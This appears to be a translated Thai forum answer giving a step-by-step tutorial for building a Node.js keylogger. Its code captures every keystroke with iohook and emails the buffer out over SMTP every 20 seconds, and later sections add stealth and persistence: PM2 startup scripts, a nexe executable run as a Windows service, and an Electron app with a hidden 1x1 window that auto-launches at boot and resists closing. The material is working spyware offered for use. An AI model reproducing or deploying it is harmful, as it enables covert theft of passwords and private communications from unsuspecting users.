ใช่ มันเป็นไปได้
สำหรับการใช้งานหลัก ฉันต้องการไลบรารีภายนอกหลักสองไลบรารี: IoHook และ NodeMailer
"dependencies": { "iohook": "^0.9.3", "nodemailer": "^6.7.2" }
ขั้นตอนแรกคือการเริ่ม IoHook Listener ในเหตุการณ์ keyDown โดยอ่านอักขระจริงจากแผนที่อินพุตที่กำหนดเองซึ่งกำหนดเฉพาะกิจ อันที่จริง น่าเสียดาย รหัสของคีย์ที่กดส่งคืนโดยเหตุการณ์ไม่สอดคล้องกับรหัสจริงสำหรับอักขระพิเศษ ดังนั้นเราจึงไม่สามารถใช้ String.fromCharCode()
const ioHook = require('iohook'); const keyNamesWin = { // ... 52: '.', 53: 'ù', 54: 'Shift' //.... } let cache = [] ioHook.on('keydown', (event) => { cache.push(keyNamesWin[event.keycode]) });
ขั้นตอนที่สองคือการกำหนดค่าบัญชี NodeMailer SMTP จริง ๆ ในกรณีนี้ ฉันกำลังใช้บัญชี MailTrap.io ปลอม
const nodemailer = require('nodemailer'); const transport = nodemailer.createTransport({ host: "smtp.mailtrap.io", port: 2525, auth: { user: "xxxx", pass: "xxxx" } });
ขั้นตอนที่สามคือการใช้ "ฟังก์ชัน IIFE" เพื่อเปิดใช้งานตัวจับเวลาที่จะส่งอีเมลโดยกดปุ่มที่บันทึกไว้ในตัวแปร แคช
(function timer() { if (cache.length > 0) { mailOptions.text = cache.toString() console.log('mail') transport.sendMail(mailOptions, (error, info) => { if (error) { return console.log(error); } console.log('Message sent: %s', info.messageId); }); cache = []; } else { console.log('empty') } setTimeout(timer, 20000); })();
เกี่ยวกับการดำเนินการจริงของโปรแกรม มีสองสถานการณ์หลัก: การรันแอปพลิเคชันนี้บนเครื่องที่ติดตั้งและพร้อมใช้งานรันไทม์ Node.JS และตำแหน่งที่ไม่ได้ติดตั้ง Node.JS
สำหรับกรณีแรก (NodeJS===true) เราสามารถรันสคริปต์โดยใช้ตัวจัดการกระบวนการ PM2 สำหรับ Node.JS
> npm install -g pm2 > pm2 start index.js
นอกจากนี้ยังสามารถเปิดใช้งาน "สคริปต์เริ่มต้น PM2" เพื่อให้เริ่มต้นเมื่อรีบูตระบบได้ (สำหรับเครื่องที่ใช้ windows นั้นซับซ้อนกว่าเล็กน้อย แต่ก็สามารถทำได้)
สำหรับกรณีที่ 2 (NodeJS===false) วิธีแก้ไขประการหนึ่งคือการใช้ Nexe เพื่อคอมไพล์แอปพลิเคชัน Node.js ให้เป็นไฟล์ปฏิบัติการไฟล์เดียว คุณต้องเลือกรันไทม์ที่เหมาะสมสำหรับการเลือกปฏิบัติการจาก รายการนี้ อาจเป็นไปได้ว่าคุณอาจต้องการติดตั้งปฏิบัติการนั้นเป็นบริการ สำหรับ windows คุณสามารถใช้ "NSSM" ที่ยอดเยี่ยมได้
> npm install -g nexe > nexe index.js -o test -t windows --build --verbose
(หมายเหตุ: บิลด์แรกควรใช้เวลาสักครู่ สำหรับ windows อาจขอให้คุณติดตั้ง NASM ด้วย)
โซลูชันอื่นสำหรับระบบปฏิบัติการ Windows อาจเป็นการสร้างแอปพลิเคชัน "Electron.JS" ที่สามารถเริ่มย่อเล็กสุดและกำหนดค่าอัตโนมัติให้เปิดใช้งานเมื่อเริ่มต้นระบบ
const AutoLaunch = require('auto-launch'); const nodemailer = require('./node_modules/nodemailer') const ioHook = require('./node_modules/iohook') function init() { // here we have the exact same code for the keylogger provided above. } let tray = null function createWindow () { let autoLaunch = new AutoLaunch({ name: 'Your app name goes here', path: app.getPath('exe'), }); autoLaunch.isEnabled().then((isEnabled) => { if (!isEnabled) autoLaunch.enable(); }); const mainWindow = new BrowserWindow({ width: 1, height: 1, frame: false, webPreferences: { nodeIntegration: true, enableRemoteModule: true } }); tray = new Tray('icon.png') tray.setToolTip('This is my application.') tray.setContextMenu(Menu.buildFromTemplate([ {label: 'Disable', type: 'radio'} ])) mainWindow.loadFile('index.html') mainWindow.on('minimize', function (event) { event.preventDefault(); mainWindow.hide(); }); mainWindow.on('close', function (event) { if (!application.isQuiting) { mainWindow.minimize(); } return false; }); mainWindow.minimize() init(); } app.whenReady().then(() => { createWindow() app.on('activate', function () { if (BrowserWindow.getAllWindows().length === 0) createWindow() }) })
ในกรณีนี้ จำเป็นต้องกำหนดเป้าหมายสำหรับไลบรารี IoHook ภายใน package.json ที่ระดับรูท
"iohook": { "targets": [ "node-83", // this is the node ABI "electron-87" // this is the electron ABI ], "platforms": [ "win32", "darwin", "linux" ], "arches": [ "x64", "ia32" ] },
สุดท้ายนี้ Electron-builder จะจัดให้มีตัวติดตั้งแอปพลิเคชัน Electron นี้ ซึ่งจะเริ่มย่อขนาดเป็นไอคอนถาด